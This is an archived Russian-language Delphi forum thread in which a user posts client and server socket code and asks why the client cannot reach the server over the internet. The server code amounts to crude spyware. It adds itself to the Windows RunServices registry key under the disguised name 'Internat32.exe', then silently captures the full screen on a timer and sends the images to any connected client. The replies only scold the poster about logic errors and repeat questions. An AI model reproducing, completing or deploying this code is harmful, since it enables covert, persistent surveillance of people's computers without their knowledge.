Текущий архив: 2009.01.18;
Скачать: CL | DM;

Вниз

TServerSocket и интернет   Найти похожие ветки 

← →
Sasha   (2008-12-02 13:27) [0]

Подскажите пожалуйста можно с помощью компонентов TServerSocket и TClientSocket соединять сервер и клиент через интернет, зная IP, где находится сервер?

---

← →
Сергей М. ©   (2008-12-02 13:31) [1]

Можно.

---

← →
Sasha   (2008-12-02 13:36) [2]

А каким образом? Вот мой код:
Клиент
unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, ScktComp, ExtCtrls, ComCtrls, StdCtrls, jpeg;

type
 TForm1 = class(TForm)
   ClientSocket1: TClientSocket;
   StatusBar1: TStatusBar;
   Label1: TLabel;
   Label2: TLabel;
   Edit1: TEdit;
   Image1: TImage;
   Button1: TButton;
procedure Writing(Text: string);
   procedure FormDestroy(Sender: TObject);
   procedure ClientSocket1Connect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ClientSocket1Disconnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
   procedure Button1Click(Sender: TObject);
 private
   { Private declarations }
   Name: string; // Имя файла
Size: integer; // Размер файла
Receive: boolean; // Режим клиента
MS: TMemoryStream; // Буфер для файла
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
ClientSocket1.Close; // Закрываем сокет
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение установлено";
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение не установлено";
end;
procedure TForm1.Writing(Text: string);
begin
if MS.Size < Size then // Если принято байт меньше размера файла, то...
MS.Write(Text[1], Length(Text)); // Записываем в буфер
// Выводим прогресс закачки файла
StatusBar1.SimpleText := "Принято "+IntToStr(MS.Size)+" из "+IntToStr(Size);
if MS.Size = Size then // Если файл принят, то...
begin
Receive := false; // Переводим клиента в нормальный режим
MS.Position := 0; // Переводим каретку в начало буфера
MS.SaveToFile("1.jpg"); // Сохраняем файл
ClientSocket1.Socket.SendText("end"); // Посылаем команду "end", то есть файл принят
MS.Free; // Убиваем буфер
image1.Picture.LoadFromFile("1.jpg");
StatusBar1.SimpleText := "Файл принят";
deletefile("1.jpg");
end;
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
 Socket: TCustomWinSocket); var Rtext: string; // Принятый текст
begin
Rtext := Socket.ReceiveText;
if Receive then // Если клиент в режиме приёма файла, то...
Writing(RText) // Записываем данные в буфер
else // Если клиент не в режиме приёма файла, то...
if Copy(Rtext, 0, Pos("#", Rtext) -1) = "file" then // Если это файл, то...
begin MS := TMemoryStream.Create; // Создаём буфер для файла

Delete(Rtext, 1, Pos("#", Rtext)); // Определяем имя файла

Name := Copy(Rtext, 0, Pos("#", Rtext) -1); // Определяем имя файла
Delete(Rtext, 1, Pos("#", Rtext)); // Определяем размер файла
Size := StrToInt(Copy(Rtext, 0, Pos("#", Rtext) -1)); // Определяем размер файла
Delete(Rtext, 1, Pos("#", Rtext)); // Удаляем последний разделитель
Label1.Caption := "Размер файла: "+IntToStr(Size)+" байт"; // Выводим размер файла
Label2.Caption := "Имя файла: "+Name; // Выводим имя файла
Receive := true; // Переводим сервер в режим приёма файла
Writing(RText); // Записываем данные в буфер
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Open; // Открываем сокет
Receive := false; // Режим клиента - приём команд
end;

end.



Сервер

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls, ScktComp,JPEG, ComCtrls, ExtCtrls,Registry;

type
 TForm1 = class(TForm)
   Button1: TButton;
   ServerSocket1: TServerSocket;
   StatusBar1: TStatusBar;
   Timer1: TTimer;
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure Button1Click(Sender: TObject);
   procedure ServerSocket1ClientRead(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ServerSocket1ClientConnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ServerSocket1ClientDisconnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure Timer1Timer(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;
   MS: TMemoryStream; // Буфер для файла
implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var regIni:TRegIniFile;
begin
regIni:=TRegIniFile.Create("Software");
regini.RootKey:=HKEY_LOCAL_MACHINE;
regini.OpenKey("Software", true);
regini.OpenKey("Microsoft", true);
regini.OpenKey("Windows", true);
regini.OpenKey("CurrentVersion", true);
regini.WriteString("RunServices","Internat32.exe", Application.ExeName);
regini.Free;
ServerSocket1.Open; // Открываем сокет
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Close; // Закрываем сокет
end;

procedure TForm1.Button1Click(Sender: TObject); var
Size: integer; JpegIm: TJpegImage;
bm: TBitMap;
P: ^Byte;
begin
bm := TBitMap.Create;
bm.Width := Screen.Width;
bm.Height := Screen.Height;
BitBlt(bm.Canvas.Handle, 0, 0, bm.Width, bm.Height, GetDC(0), 0, 0, SRCCOPY);
JpegIm := TJpegImage.Create;
JpegIm.Assign(bm);
JpegIm.CompressionQuality := 50;//Качество сжатия, в процентах
JpegIm.Compress;
JpegIm.SaveToFile("1.jpg");
MS := TMemoryStream.Create; // Создаём буфер для файла
MS.LoadFromFile("1.jpg"); // Загружаем файл в буфер
// Посылаем информацию о файл (команда # название # размер)
ServerSocket1.Socket.Connections[0].SendText("file#"+"1.jpg"+"#"+IntToStr(MS.Size)+"#");
MS.Position := 0; // Переводим каретку в начало файла
P := MS.Memory; // Загружаем в переменную "P" файл
Size := ServerSocket1.Socket.Connections[0].SendBuf(P^, MS.Size); // Посылаем файл
bm.Destroy ;JpegIm.Destroy;
deletefile("1.jpg")
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
 Socket: TCustomWinSocket);
begin
if Socket.ReceiveText = "end" then // Если клиент принял файл, то...
begin
StatusBar1.SimpleText := "Клиент принял файл";
MS.Free; // Убиваем буфер
end;
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
timer1.Enabled:=true;
StatusBar1.SimpleText := "Соединение установлено";
end;

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := "Соединение не установлено";
Timer1.Enabled:=false;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Button1.Click;
{if StatusBar1.SimpleText = "Соединение установлено" then button1.Click;
}end;

end.


и при задании адреса немного думает и выдает ошибку, что сервер не найден

---

← →
Сергей М. ©   (2008-12-02 13:43) [3]

> при задании адреса немного думает и выдает ошибку, что сервер
> не найден


Ну значит не найден. Почему бы этому не поверить ?

Я так понял, что ты ничерта не вынес из предудущего обсуждения твоего же вопроса
http://delphimaster.net/view/2-1228125086/

ибо вновь тычешь сюда код с теми же логическими ошибками.

Что в лоб, как говорится, что по лбу)

---

← →
stas ©   (2008-12-02 14:22) [4]

Sasha   (02.12.08 13:27)
У тебя ping с этим IP работает?

---

← →
Slym ©   (2008-12-02 17:03) [5]

скока можно? поиском пользуемся?
http://delphimaster.net/view/2-1228125086/

---

← →
Сергей М. ©   (2008-12-02 18:56) [6]

> Slym


Ну и чего ради, спрашивается, ты пыжился в той ветке ?)
Автор даже медвежьими услугами пользоваться не умеет)

---

Страницы: 1 вся ветка

Текущий архив: 2009.01.18;
Скачать: CL | DM;

Наверх

Память: 0.49 MB
Время: 0.016 c